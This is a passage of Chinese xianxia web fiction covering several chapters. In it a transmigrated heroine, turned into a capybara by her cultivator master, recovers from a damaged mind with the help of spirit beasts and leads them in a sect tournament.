在叶清雅不知道的情况下,自己“噗”得一下变成水豚窝在止语仙尊手臂上。
止语仙尊已基本掌握化形法门,能自如操控叶清雅体内灵力把她变成水豚形态。
至于后者的意愿他从不考量,一般人修都听不见妖兽说话,他完全可以把叶清雅当哑巴。
止语仙尊垂下眼帘,看着满地符文凝神思考,抬手在关键处加上几道繁复花纹,便调动叶清雅散入空中的灵力催动阵法。
霎时天崩地裂,一道金光从血阵正上方流泻而下,止语仙尊稳座阵眼,看着金光向四周蔓延,所到之处满地的碎砖烂瓦飞灰烟灭,望月镇清冷的大街小巷拔地而起,无一不浸润在金色波纹中。
万府的深宅高墙也显露出本相,此时止语仙尊两人正站在万府正院。
叶清雅的眼皮不自然的抖动,止语仙尊察觉到怀中的异常,拂袖帮叶清雅挡了下强光。
面前大门被打开一道缝,万公子身穿喜服大踏步走进正院,手中木珠转动,哼着小曲儿,似是心情极好。
直到他看到院中仙气飘飘的少年郎后瞬间变脸,一双枯瘦的手愈发愈发绞紧,生生捏碎了手中的珠串,数十个木珠噼里啪啦掉得到处都是。
门外的人得到信号一窝蜂地涌进来,被万公子在门口抬手制止。
万公子对上止语仙尊的目光,瞳孔骤缩,浑身上下打了个激灵,噗通一声跪倒在地,眼神空洞,陷入梦魇。
门外的莽汉挤进门来,不屑一顾道,“万公子你不是带我们来找回公道的吗,跪这个小白脸作甚?”
止语仙尊恢复成年形态,收敛黑气,心道:身边带着拖油瓶,今天恐怕钓不出幕后之人。
他也无心再陪他们耗下去,便随手破了幻境。
望月镇城北一处宅院轰然倒塌,人群中传来呼声“朱家大院塌啦。”
百姓露出惊恐的神色,他们在幻境中和兔妖做的交易在一一应验,可兜里的妖丹却变成了一颗颗石头。
大梦一场,一切皆空。
霎时呼号遍野,人人自危。
有人牵了个头学着万公子跪下,一传十、十传百,祈求仙尊垂怜的哀求声响遍整个镇子。
兔妖大仇得报欣喜若狂,在人群中乱窜再次引起不小的骚乱。
止语仙尊凌空写符打入兔妖体内,轻而易举地将它收入囊中。
百姓们对仙尊降伏鬼妖的正义之举赞不绝口。
止语仙尊只留给众人一句话,“余生多忏悔,否则自有恶报。”
万公子回过神来,鼓足勇气质问道,“是不是你杀了她!我的清雅......”
止语仙尊好心提醒,“你的青梅竹马早就死在那个山洞里了,这不是你一手造成、又亲眼所见的吗。”
止语仙尊召出本命剑腾空而去,到半空中还听到万公子在下面撕心裂肺地喊着:“你是装的!从始至终你都没中幻境,哈哈哈哈,好一个借刀杀人,你不配为仙......”
还未说完,万公子就被愤怒的人潮吞噬,不知所踪。
8. 迷离美梦 故人入我梦
止语仙尊飞到半空中,静静等着眼前乌云散去,露出现实天空的真容,远处隐隐能遥望到没入云海的落月宗主峰。
他忽感一阵灵力不济,仙剑激烈颤抖,终是支撑不住,连人带剑从空中摔了下去。
刚好被一片柔软接住,鹤妖心脏砰砰直跳,他不敢想如果自己晚来一步会怎样。
鹤妖余惊未了,“仙尊,您和小师妹没事吧。”
止语仙尊道,“有事。”
“啊?”鹤妖早已习惯仙尊说话留一半,这幻境把人封里面三四天,出来哪会有没事的。
鹤妖道,“我走之前已经通知芙蓉仙尊,她知道您不愿出灵兽峰,专程去我们那儿坐诊,算算时间也该到了。”
鹤妖忍不住埋怨道,“仙尊,您伤还没好全,怎么又乱动灵力啊。”
止语仙尊掩嘴轻咳,“下面太吵,怕你找不到。”
鹤妖低头看了一眼,“嗯,都是些乱七八糟的人。只可惜兔姨、唉。”他想起兔姨往昔种种,无言垂泪。
止语仙尊探向衣袖,又往兔妖身上添一道镇压符,“还活着,但她罪孽深重恐不好转世,我暂且将她镇压,且看以后吧。”
鹤妖松到一半的气又吊起来,心中燃烧的怒火想要烧尽一切卑劣的人类,发着狠说道,“仙尊,为什么人和人差距这么大,您也是人类,一直在保护我们妖兽,可他们,怎么都想致我们于死地,我们到底做错了什么!”
止语仙尊听惯了这样的怨言,他也想问,人有好有坏,为什么他碰上的就都是意有所图之人。
他看向怀中的熟睡的小水豚,这家伙竟说出要拯救妖兽这样的浑话,他倒真想看看其中有几分真假。
止语仙尊眸色一沉道,“回去通知织梦兽,酬谢一枚丹药。”
鹤妖大惊,“您难道要让织梦兽给小师妹治伤?仙尊三思啊!”
他师妹是晕了又不是死了。可若请织梦兽出马,多半活的也给治死了。
止语仙尊道,“她识海有缺,普通医术无法根治,只能出此下策。”
鹤妖默默祈祷,痛心疾首。这次下山,没救回兔姨不说,还搭上了小师妹,这倒霉事儿怎么净让他灵兽峰给摊上啊。
回到宗门,织梦兽如约前来,止语仙尊扔给它一枚丹药,它嗷呜一口吞下,身上发出莹莹光芒,修为竟在短时间内跃升。
它笑眯眯地答谢,蹭到叶清雅身边就要开始造梦,又似是想起什么,对止语仙尊说道,“仙尊可要一起?”
织梦兽本是客气一下,没想到仙尊真跟了进来。
叶清雅的识海明亮澄净,空无一物,织梦兽眉头微蹙,转身就要走,碍着止语仙尊的面子,还是决定客套一下。
“禀仙尊,此人识海破碎已无修复可能,就算我不治,她也必死无疑。”
言外之意就是,你请我过来治一个半截入土的人,本来我名声就不好,这不是硬给我抹黑吗。
清风拂面,止语仙尊的发梢迎风飘起,织梦兽“咦”了一声,也察觉到识海的不寻常之处来。
它犹豫着说道,“莫非这人的识海另有乾坤?”濒临消亡的识海不会对闯入者造成任何影响,除非这片识海还藏有生机。
止语仙尊淡淡道,“劳驾。”
织梦兽开始收集识海碎片,梦境是它的主场,无论人还是妖,生之皆苦,而它所造之梦皆是美梦,做梦的人会在美梦中得到识海的滋养,往往等识海修复了,做美梦的人却不愿醒,成为一个活死人。
不过这人本身就要死了,它这也算是积德行善,不亏。
海天一色的识海中渐渐浮现出形形色色的人影,一小姑娘从幼年到及笄,半步未曾出过自家深宅大院。
梦里她走出了深宅,成为一名光宗耀祖的御兽师,人人对她刮目相看,最终得道成仙。
而作为看客的止语仙尊等人,看到的却是她悲惨的一生。
止语仙尊看到五六岁的女孩抱起打回原形的自己,从地上捡起一颗珠子小心翼翼地揣在怀里。
那时他正躲避仇家追杀,怎么逃都逃不掉,后来才知道是那些人往他的妖丹里放了定位,他去哪儿都会被盯上。
于是他选了一僻静地方,提前在妖丹上设下血契,自剖妖丹。
只要妖丹与本体断掉直接联系,那些人一时半会儿不会找到他。
可他远远低估失去妖丹的副作用,差点曝尸荒野,幸好被女孩捡到,却失忆了,直到那一天。
他从笼子里醒来,亲眼见到她咽气,转眼就诈尸,惨兮兮地让他手下留情。
他碍于血契反噬动不了她,只能借助外力除掉她,拿回内丹。
他才不信什么起死回生,除非这副躯壳换了人,那就更不用顾及救命之恩了。
他看向悬在半空中满头大汗的织梦兽,出声询问,“如何。”
织梦兽百忙之中回他一句,“碎了,又没碎,不好说。”
在他们忙于造梦时,隐藏在深处的属于叶清雅的识海也受到影响,她刚来这个世界不久,识海只有一小片湖泊形态,岸边杵着一棵弱不禁风的小树苗。
织梦兽的影响还在继续。
叶清雅漫步在空无一人的街道,这里没有人会把时间浪费在交通上,几乎都是居家办公或留宿单位,实在是环境所迫——星际联盟内卷严重,你卷不动,就会有别的天才替代你。
她自己就是被淘汰的那一个。
母亲总是让她全面发展,除了功课之外还要学习古联盟的艺术文化。
“才情”有什么用?有才情不能造飞船,不能治病救人,只会让她浪费时间屈居人后。
和她同届的学生从同龄,到差一岁、两岁、十岁......她还在捧读高中物理时,牙牙学语时候的小伙伴已经在研究天体物理学,她早已被甩十万八千里,故友重逢也没了共同话题。
母亲总是笑而不语,直到她考上联盟A星理科状元却无人问津时,才微微皱眉。
母亲笑着摸摸她的头,“抱歉,把你生在这个时代,以后妈妈养你,你只管开心就可以啦。”
她不怪母亲,因为从小习得的“才情”,她能读懂母亲给她的爱,也能感受到母亲对父亲的思念,这才没有被冷冰冰的社会同化。
可能母亲想不到,她一联盟废物也有出人头地的一天吧。
她拿着穿越任务得到的巨额奖金,以胜利者的姿态敲响家门,有了这笔钱,她们
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一家下半辈子都不用愁了。
房门应声打开,她看到了一面镜子——谁把镜子摆门口、故意吓人的吗?
她后退一步,实在是因为这个镜中人太立体、有点瘆人,她想逃。
果然,没等她跑下楼梯,镜中人就扑上来抱住了她,吸着鼻子说,“我还以为再也见不到你了,呜呜呜,我的身体还好用吗?”
她脑袋嗡得一声,有什么忘掉的东西呼之欲出,嗡嗡嗡躁动个不停,和镜中人忽高忽低的话混在一起,她一个字也没听进去。
镜中人把她领到沙发前坐下,给她倒了杯茶,四下打量着,“原来你的世界是这样的啊,我看好些人都在天空上飞,和我们那儿也差不多嘛。”
她稍稍回过神来,听到女孩的话,小声说,“嗯,坐飞船和坐仙剑一样,在天上飞来飞去的,都不会好好走路。”
镜中人哈哈大笑,“你想起我啦?”
她轻轻摇头,只觉得这人很熟悉,除了相貌外,和她没半毛钱关系。
不对。
她瞥见玻璃显示屏上两人的身影,就连相貌也完全不一样啊。
在她脑袋一片混沌时,镜中人温柔地扳回她的脸,“我是谁不重要,你是谁、”
镜中人犹豫了一下,“也不重要。”
她的手被捧在手心里,“你我同名,可我这名字是一得到高人起的,他叫我留着那颗妖丹,说日后自有奇遇,没想到遇见了你,可惜。”
可惜红颜薄命,人心难算。
叶清雅不自觉地流下两行清泪,为什么她会这么难过?
镜中人笑着摇摇头,“谢谢你让我看到那些人的真面目,叶清雅,替我好好活下去吧。”
......
止语仙尊和织梦兽被一股怪力赶出识海,止语仙尊有渡劫期神识勉强保住了体面,织梦兽就没这么好运了,意识回体后连带着身体一滚再滚,正好撞到刚进门来的芙蓉仙尊身上。
芙蓉仙尊双手捧起织梦兽走到床边把它放下,叉腰对止语仙尊没好气地说道,“好啊,我好不容易有个师侄,不让见面也就罢了,如今是想让我白发人送黑发人吗?师弟!”
芙蓉仙尊满身怒气流窜,威压四散,本来在床上数星星的织梦兽一下子不晕了,跳下床就往屋外跑去。
止语仙尊难得有些紧张,解释道,“还有救。”
眼见芙蓉仙尊又要发作,一声“师姐”连带着几声病弱的咳嗽很及时地压下了她层层怒火。
这好像还是小师弟第一次叫自己师姐。
罢了,师弟的瞎事儿她来管,自己的师侄自己救。
她为叶清雅擦掉脸上亮晶晶的泪水,细细把起脉来。
止语仙尊溜出门去,叫来了乌鸦,偷偷商谈。
止语仙尊指向屋内之人,说道:“预言一下从她身上取丹。”
乌鸦在半空中扑棱着翅膀,“啊!啊啊、啊。”(必死无疑)
止语仙尊点点头,乌鸦没说主语,那便也包括他自己。
芙蓉仙尊的声音冷不丁从屋内传来,“让它上别处唱去,再叫,我可真要罚你了,小师弟!”
止语仙尊叹了口气,看来取丹之事还得从长计议。
9. 戏精本精
鹤妖把乌鸦叫道一边,夸赞道:“想不到你这乌鸦嘴,关键时候也知道帮小师妹说话。”
乌鸦扇动翅膀缓缓落地,变成一青年女子,冷着一张俊脸道,“本就如此,算不上帮她。”
鹤妖勾着乌鸦的肩膀,带着她往屋里走,“你早这么说,小师妹就不用泡那化骨泉了吧,光听这名字就瘆人。”
乌鸦看着他头上那撮晃眼的红毛,反唇相讥,“人各有命,就你乱操心,早晚得秃顶。”
鹤妖一把推开她,“诶,你这乌鸦嘴,呸呸呸。”
屋内,叶清雅悠悠醒转,后知后觉意识到刚刚的梦境是宿主在向自己告别,心情正低落时,抬头看见一位清丽脱俗的女子正温柔地注视着她。
那女子道,“我是你师伯,你识海受创还不能恢复人形,随我去灵药峰调养几天,还住你之前那房间。”
说罢就抱着叶清雅往屋外走,出门时与止语仙尊擦肩而过,谅他不会阻拦。
却被正巧进来的鹤妖和乌鸦迎面撞上,挡住去路。
鹤妖神色焦急,“芙蓉仙尊,您不能带她走。”
芙蓉仙尊丝毫不让,各人有各人的理由,一时间两方僵持不下。
乌鸦插嘴道,“这屋子刚建好,没有人气滋养,日后便再不能住人。”
鹤妖附和道,“对,这是我们专门为小师妹新建的,这是她家,您尽管开药方,以后我每天飞过去拿药,就不让她过去叨扰您了。”
鹤妖伸手想要接过叶清雅,芙蓉仙尊拍开他的手,颇有些生气道,“瞧你们这架势,好像我会卖了她似的。
行,要是她病情恶化,以后你们有个头疼脑热都别来找我,本尊消受不起。”
说罢将叶清雅塞到止语仙尊怀里,径自走到十步开外又猛然停下,深吸一口气平复心绪,侧身对鹤妖说道,“还不跟我来取药。”
鹤妖连连应是,随着芙蓉仙尊飞走了。
叶清雅望着他们远去的背影,心说:师伯您倒是再坚持一下啊,看看这破屋门板都露着缝儿,就算住进来人、也不是人住的地方啊。
她把头埋进止语仙尊的怀里:真是没眼看。
她一连浑浑噩噩数日,不知是芙蓉仙尊的药起了作用,还是这副身体太逆天,一身伤竟好了七七八八。
止语仙尊悠闲地在躺椅上晒太阳,无视叶清雅绕着他唠叨。
她苦于不能说人话,气得啃他耷拉在地的衣摆,成功把仙尊的长袍撕坏,露出了他肤白细长的美腿。
正主闻声动了动,扔给她一根胡萝卜后继续睡。
打不过,咬不得,她只能叼着胡萝卜飘在水里啃,生着一肚子窝囊气。
止语仙尊道:“过来。”
她动了动小巧的耳朵,硬是忍住没转身,心里小声嘀咕:自己没有名字的么。
止语仙尊颇有耐心,“就这么想变成人吗。”
哗啦一声水响,叶清雅游到岸边,对着止语仙尊用力点头。
只见仙尊慵懒地伸出一只手,她不再迟疑,飞快迈开小短腿跑过去,踮着脚把额头贴在止语仙尊的手上。
听他说道,“跟着我的气走,摒除杂念。”
她闭上眼睛,一脸期待。
止语仙尊叹了口气,“人都有贪嗔痴,做人有什么好,最后还不是去害人。”
她心想:你不也是人吗。
止语仙尊闷咳一声道,“专心。”
她赶忙收起心里的小九九,跟着止语仙尊的引导运转了一周天。
效果立竿见影,不一会儿短小的四肢就伸展开来,竟是窜到了同止语仙尊胸口一般高。
当然,她站着,止语仙尊躺着。
止语仙尊爱抚地摸摸她的头,“不错,长高了。”
“你趁火打劫...哎呦!”
她正想说一顿这个没轻没重的男人,反被弹了一脑瓜崩。
“说人话。不会说,就再变回去。”
她疯狂摇头,规规矩矩地叫了一声“止语仙尊”。
那模样好不甘心。
“不必,”止语仙尊重新眯缝着眼,享受着冬日暖阳的温热,“你是我的救命恩人,不必用敬称。”
叶清雅:???
哪有动不动就把恩人变水豚的?这明明是仇人的做派啊。
止语仙尊投来一个不经意的眼神,美人侧目,还挺好看。
“哦。”叶清雅应答着,忍不住多看了两眼。
止语仙尊道:“但是,师父还是要叫的。”
叶清雅:!!!
她本就是逢场作戏,谁要做他徒弟。
更何况还是个病秧子,没准哪天一命呜呼把灵兽峰这一大摊子扔给她,美其名曰师门传承,实际上不就是个动物园园长吗?
想到这点,她脱口而出道:“不行!”
止语仙尊看向她,那眼神,活像他才是被欺负了似的。
她被这眼神刺到了,双手不自觉地绞紧,缓和些语气说:“仙尊说过,等我痊愈就放我回......下山。”
经过鬼妖一事,那个虚伪的家已不能作为离开的借口,她只能寄希望于这人说话算话。
不然——
叶清雅眼神坚定,就打他一顿再走。
止语仙尊起身,一边咳嗽一边说道,“既如此,那我们便送送你吧。”
这一送,满山灵兽都出动了。
她还是第一次见到这么多动物,要知道上一次还是在星际联盟的古生物博物馆里。
一棕色山羊送给她一颗枣和一红色不明物,它说,“文茎能让你耳聪目明,条草能让你免于中幻境,路上小心。”
一彩色大鸟飞过来扔给她一把羽毛,“我把最漂亮的羽毛给你,以后你就是最亮的崽崽!”
她手里紧接着被塞了一幅画,画上俨然一头威风凛凛的野猪。
“这是我的画像,拿去辟邪。”
每只灵兽都要送她一份礼物,摞成小山高的奇珍异宝要将她湮没,她难却灵兽们的盛情,眼见太阳斜斜挂在山头,感慨道:这是要熬夜的阵势吗。
长剑破空声划破天际,兽群中一声惨叫,“救命!小虎被捉走啦!”
被捉走的都没它叫得响。
所有人和妖抬头望去,一披坚执锐的武将凌空御剑,左手拎着只老虎,冷眼睥睨群兽。
他开口道,“师弟,你这儿的灵兽都快住不下了,让你给我送来几只怎么就是不听呢,它只是个开始,”
老虎被拎着晃了晃,“日后你不主动,就别怪我自己来取了。”
说完,他的视线扫过叶清雅,冰得她打了个寒颤。
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事后她想着:这是非之地,她半分也不想多沾。
那人撤去威压,风一般离去,众妖被吓得妖心慌慌,作鸟兽散。
灵兽峰顷刻安静下来,只剩下她和止语仙尊隔着奇珍异宝遥遥相望。
她从礼物堆后面探出个头,刚要开口,一阵拖地曳行的沙沙声逼近,眨眼间织梦兽闪了出来。
这还是她第一次见到自己的救命恩人。
织梦兽长舌一卷吐出个白色珍珠,托举着递给她。
她用一颗彩色羽毛垫着接过,只是一颗普通珠子,没什么特别,可织梦兽却说了声谢谢。
用彩羽接礼物是珍重之意。
她又抽出支羽毛递给织梦兽,后者就顺着她的手爬上肩膀,小声对她说,“这是你破碎识海里的记忆,里面也许有重要的信息,我替你留下了。
还有,仙尊不善言辞,但这些你不能不知道。
仙尊赌上修为救了你,落一身伤,以后谁都可以欺负他。
你的选择是对的,多留无益。反正没了仙尊庇佑,这灵兽峰也该散伙了。”
叶清雅一愣,想起那天出现在止语仙尊身上的魔气,如今他重伤不愈,竟是因为自己吗。
可她这一身伤不也是为了救他吗。
是与不是,从他们离开幻境的那一刻起,都该两清。
织梦兽达到自己的目的,跳到地上拖着长尾巴离开。
她走到止语仙尊跟前,做最后的道别,却不想他问了句,“那天治疗识海的时候,为什么哭了。”
她没想到他会问这个,因着对他的戒备,不假思索地答道,“做了个富婆梦,美哭了。”
止语仙尊追问,“那又为什么醒了?”
她无意中听过织梦兽的厉害,斟酌着回答,“钱花完,自然就醒了。”
止语仙尊掏出一把五颜六色的石头,蹲下身放到她手上,“听说你在收集这个,送给你。”
叶清雅接过这一把灵石,不明所以。
黄昏的光照在他低垂的眼睑上,投下一小片阴影,抬眸时,盛满担忧的视线撞入她的眼睛,竟是久违的温暖。
他弱弱地说道,“其实,后山还有很多,我本想都留给你的。”
她一眨不眨地盯着他的眼睛,眼眶发酸,固执地不肯落泪。
她隐忍的样子让他心下一颤,把她搂入怀中,一双细嫩的手臂顺势环住他的肩膀,无声的泪水很快濡湿他脖颈处的衣襟。
他捂嘴咳嗽一阵,惹得怀中人起身,抬手摸摸他苍白的脸。
叶清雅只觉手下一片冰凉,没想到他竟伤得这般重。
她问道:“不要紧吧。”
止语仙尊不答反问,“你打算去哪儿,日后让人欺负去可怎么好。”
外面海阔天高,可她身若浮萍,纵然是无处可去的。
叶清雅突然想起了母亲,小时候生病,有母亲在身边哪里都不会痛,很心安。
情绪累积到极点,她不自觉咬紧下唇,又被仙尊轻轻挑开。
他说,“别咬,师父在,这儿永远都是你的家。”
整齐的皓齿松了劲,在红唇上留下一排小牙印。
她打了个哭嗝,泪水不要钱似的掉下来。
止语仙尊抱起小娃娃拍着哄着,迎着落日最后一抹余晖,思绪万千。
10. 双重人格
“要不明天再走?”
眼见天色不早,止语仙尊索性给她个台阶下。
叶清雅点点头,“放我下来,我不是小孩子。”她怎么会在他面前破防,真是奇怪。
止语仙尊掏出个织物袋,扬手把地上的礼物全收了进去,俯身把它系在她的腰间,牵起她的手,往小竹屋走去。
她回头看了眼,“小虎被抓走了真的不要紧吗?”
他淡淡道,“管不了。”
两人一路无言,皎洁的月光洒在地上,银练似雪照彻前路。顺着这道光向上望去,止语仙尊面无血色,像游荡在世间的孤魂野鬼。
突然,他脚步一顿,叶清雅感到寒风骤起,而她处于风暴中心,被吹得一阵凌乱。
止语仙尊放开她的手,催促道“先走。”
她亲眼看到一根根魔气从他身上冒出,一如那天在幻境的时候。她冷眼环视四周,紧接着冷艳一笑:四下无人,无所顾忌。
她用小奶音威胁道,“蹲下来,我给你拔刺。”
止语仙尊依言照做,她把一根根魔气拔下来撇到一边,刚刚还是实体的魔刺顷刻化为黑气再次钻到他的身体里,生生不息。
叶清雅拿他没办法,额头抵在他的肩膀,“随你吧,今天你入魔,明天我就是魔头的徒弟,魔弟、摩的,还挺酷炫。”
止语仙尊笑道,“这就放弃了?”
她猛然抬头,撞见一双赤红的眼睛,她凑近看看说,“眼睛这么红,没睡好觉?”
止语仙尊爽朗大笑,“本尊为你可是彻夜未眠,你说走就走,丝毫不念旧情吗?”
她皱起细眉:这奇怪的自称,莫非他是止语仙尊的第二人格?
“不然呢?”
止语仙尊冷哼一声,“你哪儿都不许去,过来给本尊护法。”说罢盘膝而坐,自行运转灵气,转眼间满头大汗,灵气在他的周围疯狂翻涌就是无孔而入,妥妥的事倍功半。
“叮叮当”,一颗珠子从止语仙尊身上掉下来,同样的声音越来越密集,指甲盖大小的珠子很快铺满了一地。
她捡起其中一颗透过光仔细端详,每个角度看都会有不同的颜色,还散着阵阵清香。
她索性把每颗珠子都捡起来收好,躺在地上进入梦乡。
她来到一座金碧辉煌的大庄园,上面大书她的丰功伟绩,里面卧室不带重样,她和母亲可以一天换一屋,想睡哪儿睡哪儿。
身后的枫树上穿来乌鸦叫声,那乌鸦口吐人言,不断重复着“朝不保夕、朝不保夕...”
她猛然惊醒,自己居然梦见了只和鹦鹉一样的乌鸦。
她手肘撑着起身,一阵地动山摇险些把她晃下去,这才发现她正躺在仙尊的躺椅上,面前站了一排排妖兽,被到处巡逻的止语仙尊治得服服帖帖。
“下盘要稳,气沉丹田。”说着踹了一脚青蛙妖的短腿,后者呜呼一声倒下。
一群姿态各异的妖兽学着人类的样子站桩,多少有些滑稽。
不料自己幸灾乐祸的样子被止语仙尊发现了。
他抬起折扇轻点两下,示意她到自己面前的空缺处来。
她眼神微眯,神色不明地按向自己的腰间,手指在织物袋的一丝一线间游走,大有一种即刻下山之意。
止语仙尊掩嘴轻咳,摆出一副柔弱的样子,摇摇晃晃地走到近前道,“为师在这儿歇会儿,你过去看着他们别偷懒。”
“哦。”她敷衍一声,走到兽群中小手一挥,“休息。”
众妖兽瞬间四仰八叉地躺在地上,一片绵绵低语,怨声载道。
她有些疑惑,“你们以前都不修炼的吗。”
顷刻间大家七嘴八舌地说开了:
“我们都是吸收天地灵气自然生长,哪里会上赶吸收灵气修炼啊。”
“小师妹快救救我们,仙尊不太正常,他以前从不管我们的。”
她义正言辞道,“不管你们就会向鬼妖一样被人欺负,像小虎一样被抓走也无力反抗!”
这时,止语仙尊从身后走过来,“她说的对,等我走了,以后你们得学着保护自己和小师妹。”
众妖闻言,一个个跟打了鸡血一样重新运转灵气。
止语仙尊道,“你的人缘很好呢。”
一呆头鹅说,“仙尊好不容易开一次口,我们一定会对你好的,放心留下吧小师妹。”
止语仙尊虚空轻点让它闭嘴,明明是好事都让它给说臭了,他调侃道,“不带这样拆台的,不算不算。”
她从没见过这样的止语仙尊,会笑会生气,跟之前的木头简直判若两人——虽然眼前这人不能完全称之为人。
她问道,“我们应该去救小虎。灵兽峰为什么要向宗门进贡灵兽?”
止语仙尊轻摇折扇,“打不过。”
她继续说,“我建议在宗门内打一场擂台赛,赢回小虎。”
“输了呢?”
“不会输,一定会赢。”
她向众位做了一番慷慨激昂的演讲,众妖兽听罢,自愿在止语仙尊的指导下刻苦修行,每只妖兽对自己所擅长的功法都突飞猛进。
有次叶清雅独自摆弄着那天捡到的珠子,被只蓝尾山雀发现,偷吃了一颗,立刻功力大增。
它让她带着去自己的小竹屋,动用土木之术,眨眼间木屋焕然一新,完全是一间雅致的竹林小院。
小山雀自豪地炫耀一番,又偷偷告诉叶清雅,这是止语仙尊的特制丹药,食之功力大增,如果给它们都发一颗,肯定能赢得比赛。
她算计着自己口袋里剩下的珠子数量,三十来颗绰绰有余。
又投喂了小山雀一颗,派它去宗门其他地方探查消息,自己去把其中五颗珠子分给千挑万选的种子选手。
临行前,她在化骨泉找到了仙尊,后者向她摆摆手,“你去吧,我已经向宗门各峰传信,输了就把自己抵在那儿吧。”
“你不去吗?”
“我素来喜静,这点我和他一样。”
叶清雅不再劝,接了山雀的情报,领着队伍走出灵兽峰。
这还是灵兽峰第一次要求公开比武,落月宗上下热闹非常,谁都想抢着去和珍稀灵兽比试一场,赢了就顺理成章地与之结契。
按比武规则,各峰
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派一位弟子前来应战,无论输赢不得与妖兽私自结契,比武结果自有公判。
止战仙尊摸着身边老虎的脑袋道,“瞧,冲你来的。”
老虎打了个响鼻,翻开肚皮倒在止战仙尊的脚下撒娇,最终得到如愿以偿的梳毛。
止战仙尊轻笑,“若是他们看到百兽之王在人类手底下撒娇,还会不会来救你?”
比武台前人头攒动,叶清雅在候场处与面前的对手遥遥相望。
她对其他五位妖兽说,“你们的优势是未曾暴露的能力,只要先发制人,在他们想出拆解办法之前取胜就没问题。”
“三局两胜。比武第一场,灵药峰对灵兽峰。”
每支队伍可以轮换选择对方的出战选手,第一轮是灵兽峰先选。
据小山雀的情报,灵药峰善用药,最佳选择是犰狳对战。
她粗略扫过对方选手,灵器峰善机关术,所做的法器千奇百怪防不胜防;
灵咒峰善做各种符咒,主要是在纸上画符,不排除高手会凌空写符的情况。
还好她故意放出了野猪的战斗技能,以他们的自视甚高,大概率会选择同样使用符文类攻击的野猪。
灵兵峰是止战仙尊统御的落月宗主战力,肩负守卫宗门、日常巡逻的重任,其人善领兵作战,身体强健。
她盘算己方队友:野猪、白马、犰狳、火烈鸟、猩猩,对上人修智取为主,强攻为辅。
对方的最后派出的无非是刑法堂或者灵宝峰下弟子,一个主掌刑罚,另一个主掌奇珍异宝,只有这两峰很神秘,暂且没有他们擅长的术法信息。
“第一轮,灵药峰胜。”
虽然犰狳遇到危险能团成一圈保护自己,但灵药峰的药粉无孔不入,一旦吸入肺部就会中招。
她将犰狳安慰一番,这还在她预料之内。
第二轮,灵兽峰先派出野猪,果然对方派出了灵咒峰的弟子。
两者前期打成平手,直到野猪亮出一幅自己的自画像说能辟邪,把对方弟子笑得打滚,最后让野猪抓到空档,击败了那名弟子。
两方平手,大家都正视起这场比赛来。
“第二轮,灵兵峰对灵兽峰——白马。”
她猜测灵兵峰爱好战马,特意选了白马过来,正好让她猜中。
白马优雅上台,灵兵峰弟子心想只要拿出平时驯马的本领,就一定能赢。
哪知方寸之间明明只差一点,却总是抓不住白马。
白马从上台开始就在鸣叫,声音婉转悦耳,叫人昏昏欲睡。
就在下面有人已经打起瞌睡时,台上的灵兵峰弟子轰然倒地,竟是一觉睡过去了。
“第三轮,灵兽峰胜。”
叶清雅暗自窃喜,只要再赢下一轮,灵兽峰这场比赛就赢定了。
许是怕灵兽峰真的赢得比赛,对方放出一个杀手锏,请出来刑法堂的神秘弟子。
叶清雅微微皱眉,因为自己不知道对方底细,所以派出了火烈鸟,果然对方不知用了什么术法,火烈鸟的三味真火未派上用场就败下阵来。
最后一轮,成败在此一举。
11. 生死伙伴
叶清雅目光坚定扫视全场,所有人的目光都聚焦在比武台上,只有一人轻轻抖动拂尘,正仔细打量着自己。
她向他点头致意,错开目光,回身拉住猩猩叮嘱一番。
猩猩会意,昂扬上场。
“第五轮比赛开始。”
她看着赛场上身法轻盈的猩猩,辗转腾挪之间已把灵器峰弟子的暗器消耗大半,比赛还算得心应手。
她想起出发前猩猩的惶恐,它说自己只会逃跑,不会打架。
她告诉它,那就一直跑,别被对方抓到就行。
她选出的这五只灵兽,不仅因为它们的特殊能力,还有它们是少数主动迎战的。
信任自己、勇于承担,是赢的第一步。
自古只有人修可以修炼的铁律刻在每个人和妖的心里,这些年更为盛行。
这导致很多妖兽忽略自身长处,一味寻求强大人类修士的庇护,利益纠葛之下往往不得善终。
她告诉它们,发下去的灵丹是止语仙尊亲自炼成,修炼时服用不仅可以提升修为,还可以与仙尊短暂结契。
前者有之,后者纯属瞎掰。
大家对渡劫期修士的盲目崇拜,导致它们没想到一个修士怎么可能同时与这么多妖兽结契。
立时信心倍增,刻苦修行,大部分都突破了修炼瓶颈。
能够站到这个比武台上,是灵兽峰走向世界的第一步,也是所有妖兽证明自己的开始。
当然这一切都是以赢下这场比赛为前提。
满天飞舞的暗箭、飞镖扎满比武台,灵器峰弟子从比赛开始就未离开过原地,手忙脚乱地应付猩猩发起的一次又一次进攻,始终和它拉开安全距离。
只有她注意到这名弟子发射出的暗器不同寻常,好像在遵循什么特殊走位,而不仅是防范猩猩近身。
不过这些暗器排列的图案她好像在哪儿见过。
野猪吭哧吭哧走到她旁边,压低声音道:“是镇压符。”
她恍然大悟,止语仙尊曾用这道符咒对付鬼妖,若是把它用在妖兽身上,只怕是非死即残。
她急得额头上沁出汗珠,告诫野猪不要声张后,不露声色地溜到白马身边,拍拍它的脑袋道:“哭一个。”
白马不解,比赛马上就赢了,这会儿它也哭不出来啊。
她顾不得太多,对白马抱拳鞠躬,“得罪了。”眼疾手快地从马尾上连根拔起一根尾毛。
白马剧痛之下仰头嘶鸣,挣扎间不小心把她踢飞数米,场面焦点转移到灵兽峰这里。
猩猩抓住灵器峰弟子愣神的间隙,随手拔出一枚回旋镖迎面甩过去,自己凭借速度优势从他的视线盲区准备偷袭。
那名弟子早有准备,只是没想到猩猩的最后一击居然正好在他布阵的关键处,他将计就计往它身上打出一件法器被猩猩躲开,正好落在大阵的最后一处关窍。
他赶紧催动灵力启动阵法,此时猩猩已成功近身将他扑倒在地,他无法打开事先准备好的防身法器,阵法一旦发动,自己也会被波及。
可他更不能忍受败于妖兽之手。
强大的灵气波动把半个比武台炸得粉碎,因为准备仓促,阵法并未发出全部威力。
叶清雅给猩猩争取时机后,正发愁如何将危险传达到台上,就发生了爆炸。
浓烟散去,杳无踪影。
一处乱石堆骨碌碌滚下几块落实,猩猩拉着已经昏迷的对手从里面出来。
两支队伍各自接回了自己的队员,所幸伤势不重。
众人议论纷纷,审判员既没有宣布结果,也不放灵兽峰众人离开。
周围空气密度增大,压得人喘不过气,刚刚被白马踹过的胸口隐隐作痛,她吃颗丹药缓口气,扬声道,“诸位要反悔不成?”
刚刚对战的灵器峰弟子指着猩猩,气红了脸,“它偷袭我们,不知用了什么妖法把小师弟绊倒了。”
此话一出,又引得之前和野猪等妖对战的弟子附和。
“那只马也有问题,怎么它一叫我就头重脚轻,人事不知?”
